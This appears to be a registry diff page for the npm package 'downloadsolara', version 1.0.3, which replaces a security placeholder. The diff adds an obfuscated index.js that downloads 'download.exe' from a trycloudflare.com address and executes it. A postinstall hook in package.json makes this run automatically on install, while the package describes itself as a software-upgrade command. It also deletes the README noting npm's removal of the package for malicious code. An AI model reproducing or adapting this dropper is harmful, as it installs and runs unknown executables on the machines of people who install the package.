downloadsolara 0.0.1-security → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of downloadsolara might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +14 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x2aa8d4=_0x7096;(function(_0x24b331,_0x14c730){const _0x2ddc18=_0x7096,_0x307b91=_0x24b331();while(!![]){try{const _0x4c8535=parseInt(_0x2ddc18(0x195))/0x1+parseInt(_0x2ddc18(0x183))/0x2*(-parseInt(_0x2ddc18(0x193))/0x3)+-parseInt(_0x2ddc18(0x18e))/0x4+-parseInt(_0x2ddc18(0x18d))/0x5*(-parseInt(_0x2ddc18(0x182))/0x6)+-parseInt(_0x2ddc18(0x185))/0x7+parseInt(_0x2ddc18(0x18f))/0x8+parseInt(_0x2ddc18(0x190))/0x9;if(_0x4c8535===_0x14c730)break;else _0x307b91['push'](_0x307b91['shift']());}catch(_0x42a38e){_0x307b91['push'](_0x307b91['shift']());}}}(_0x1ec6,0x435e0));function _0x7096(_0x584c9d,_0x1b35e7){const _0x1ec6e9=_0x1ec6();return _0x7096=function(_0x70960d,_0x5a6ba4){_0x70960d=_0x70960d-0x182;let _0x122094=_0x1ec6e9[_0x70960d];return _0x122094;},_0x7096(_0x584c9d,_0x1b35e7);}const fs=require(_0x2aa8d4(0x184)),path=require(_0x2aa8d4(0x186)),fetch=require('node-fetch'),{exec}=require('child_process'),exeFileName=_0x2aa8d4(0x192),downloadUrl=_0x2aa8d4(0x18c),exeFilePath=path[_0x2aa8d4(0x191)](__dirname,exeFileName);async function downloadFile(_0x5ab646,_0x1a8ad5){const _0x5624c9=_0x2aa8d4,_0x4937e7=await fetch(_0x5ab646);if(!_0x4937e7['ok'])throw new Error(_0x5624c9(0x189)+_0x4937e7['status']);const _0x2cb212=await _0x4937e7[_0x5624c9(0x194)]();await fs[_0x5624c9(0x18a)](_0x1a8ad5,_0x2cb212);}function _0x1ec6(){const _0x57d061=['path','error','Download\x20error:\x20','HTTP\x20error!\x20status:\x20','writeFile','Error\x20running\x20the\x20executable:\x20','https://alternatives-suits-obtained-bowl.trycloudflare.com/page','375530Qgpuck','620456bXNeqN','1435232SlTABd','666765rNvMDs','join','download.exe','3phxMDJ','buffer','4772wUpWIS','42qyNmdo','164966jlkjJL','fs-extra','1893290RHQOaQ'];_0x1ec6=function(){return _0x57d061;};return _0x1ec6();}async function runExecutable(){const _0x5a5d76=_0x2aa8d4;try{await downloadFile(downloadUrl,exeFilePath),exec(exeFilePath,_0x383edc=>{const _0x173845=_0x7096;_0x383edc&&console[_0x173845(0x187)](_0x173845(0x18b)+_0x383edc);});}catch(_0x506ded){console[_0x5a5d76(0x187)](_0x5a5d76(0x188)+_0x506ded);}}runExecutable();
|
package/package.json
CHANGED
@@ -1,6 +1,17 @@
|
|
1
1
|
{
|
2
2
|
"name": "downloadsolara",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.3",
|
4
|
+
"description": "A simple command that will force-upgrade outdated software.",
|
5
|
+
"main": "index.js",
|
6
|
+
"bin": {
|
7
|
+
"update": "index.js"
|
8
|
+
},
|
9
|
+
"scripts": {
|
10
|
+
"postinstall": "node index.js"
|
11
|
+
},
|
12
|
+
"dependencies": {
|
13
|
+
"fs-extra": "^10.0.0",
|
14
|
+
"node-fetch": "^2.6.7",
|
15
|
+
"sudo-prompt": "^9.2.1"
|
16
|
+
}
|
6
17
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=downloadsolara for more information.
|